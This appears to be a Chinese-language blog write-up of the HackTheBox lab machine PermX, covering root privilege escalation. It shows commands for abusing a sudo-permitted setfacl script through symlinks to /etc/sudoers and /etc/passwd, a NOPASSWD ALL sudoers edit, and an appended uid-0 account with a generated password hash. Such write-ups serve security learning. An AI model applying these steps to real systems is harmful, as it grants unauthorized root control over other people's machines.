今天要解決Day 7留下的root.txt flag,因為字典檔案和nc的關係所以會都在Kali環境中處理。Day 7因為把機環境不穩一直重來又要文字紀錄,有些不清楚的地方Day 8這邊會進行重點整理。
我開始說筆電X280太過老舊所以都在Windows操作較多也不違背,因為在ISCB資安稽核只要證明漏洞是可以被利用就夠了,打得太兇狠反而有法律責任。在Day 7我們只要證明能夠利用過舊的套件版本進行檔案上傳,Step 5執行了id指令這樣就夠了,Step 6上傳simple-backdoor.php用www-data權限執行各種指令已經有點超過,因此到這邊Windows和wsl2的工具差不多就可以辦到。
後來ssh使用者帳號登入,Day 8要示範的提權,這些在ISCB資安稽核或者提報給Hitcon都可以不用。但是,如果要完成HTB給的任務又是另外一個故事了。
vpn連線
┌──(kali㉿kali)-[~]
└─$ sudo openvpn --config lab_FinleyLi.ovpn
打開PermX虛擬機(靶機)
Target IP Address
10.10.11.23
檢查Kali虛擬機(攻擊機)
┌──(kali㉿kali)-[~]
└─$ ip addr
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.14.89/23 scope global tun0
Step 2 nmap: 掃描到80網頁服務
Step 3 whatweb: 發現網域名稱permx.htb,設定路由/etc/hosts
Step 4 ffuf: 找到子網域名稱http://lms.permx.htb
Step 5 google: Chamilo漏洞復現CVE-2023-4220
Step 6 shell返回:
取得過程不太合理的密碼
前面Step 6從www-data可以讀取的configuration.php找到密碼,ssh成功登入後取得user.txt這個flag。第二個root.txt看名字也猜得到需要提權為系統管理者才能夠取得。
對Linux權限不那麼熟悉的同學這裡有幾個關鍵字先來看一下說明:
mtz@permx:~$ uname -a&&id&&whoami
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
這時候發現權限控管有個可以利用的檔案**/opt/acl.sh**,用cat指令查看一下內容。
cat /opt/acl.sh
使用者 mtz 可以以 root 身份運行腳本 “/opt/acl.sh”,允許使用者 mtz 更改任何使用者對文件的許可權,只要目標檔位於 “/home/mtz” 目錄中即可。
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
根據Step 7的發現總結出以下作法,雖然看起來有些混亂但這裡需要創建一個指向 “/home/mtz” 目錄上 “/etc/sudoers” 檔案的符號連結,以便使用者 mtz 可以使用以下命令間接修改 “/etc/sudoers” 檔。可以這麼做是因為我們透過sudo -l發現可以透過/opt/acl.sh以管理員身分執行/home/mtz下的檔案,所以將sudoers用連結的方式繞過權限控管。
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/sudoers
mtz@permx:~$ ls
script.sh sudoers user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers
nano /home/mtz/sudoers
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
把最後一行改成ALL,不過這個動作我重做了10次然後卡住發現sudoers不見了。(靶機人太多也是很麻煩)
# mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
mtz ALL=(ALL:ALL) NOPASSWD: ALL
重新登入
mtz@permx:~$ sudo su
root@permx:/home/mtz# cd /root
root@permx:~# ls
backup reset.sh root.txt
因為靶機重複掛掉太多次可能這時線上(86人)大家都在玩sudoers免密碼登入的設定,這裡我們換一招。先產生一個HASH
mtz@permx:~$ openssl passwd au4a83
$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/
link
mtz@permx:~$ ls
user.txt
mtz@permx:~$ ln -s /etc/passwd passwd
mtz@permx:~$ ls
passwd user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd
用echo把條件寫進passwd,因為mtz可以用/opt/acl.sh以系統管理者身分去執行,把passwd連結過來之後就可以被我們修改。
mtz@permx:~$ echo 'au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash' >> /home/mtz/passwd
mtz@permx:~$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/no
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash
我有一次cat的時候只有出現最後一條內容代表ln已經被清除所以echo,不知道為什麼甚麼這台靶機一直在清空自己。
mtz@permx:~$ cat passwd
b0rgch3n:$1$zrd0hGa7$xs1GPMR4gl1lZE1lJwQt81:0:0:root:/root:/bin/bash
切換剛建立的au4a83使用者,然後一直發現passwd突然不見了,重來超過10次。接下來要做的事情只是切換使用者而且au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash顯示我們可以使用root的權限,只是差在靶機的環境不穩定沒辦法提供完成的樣子。
su au4a83
cd /root
ls
cat root.txt
到這一步沒有辦法完成,因為我前面兩個做法生成的sudoers和passwd一直被洗掉,ls觀看會發現不斷的檔案出現消失ssh斷線。結果這題root.txt卡了我三天時間。如果面對是真實的系統其實也不會比較友善,畢竟我們可是防火牆、WAF、IPS有錢買的防護都給做上去,一發現有惡意行為就會直接阻擋。
這次鐵人賽文章看了好多回重新啟動的這個畫面,可能因為趕稿的壓力特別覺得HTB靶機狀況不穩需要重新啟動。
另外半年前做過的靶機都淘汰了,才半年就移到Retired Machines成為時代的眼淚!!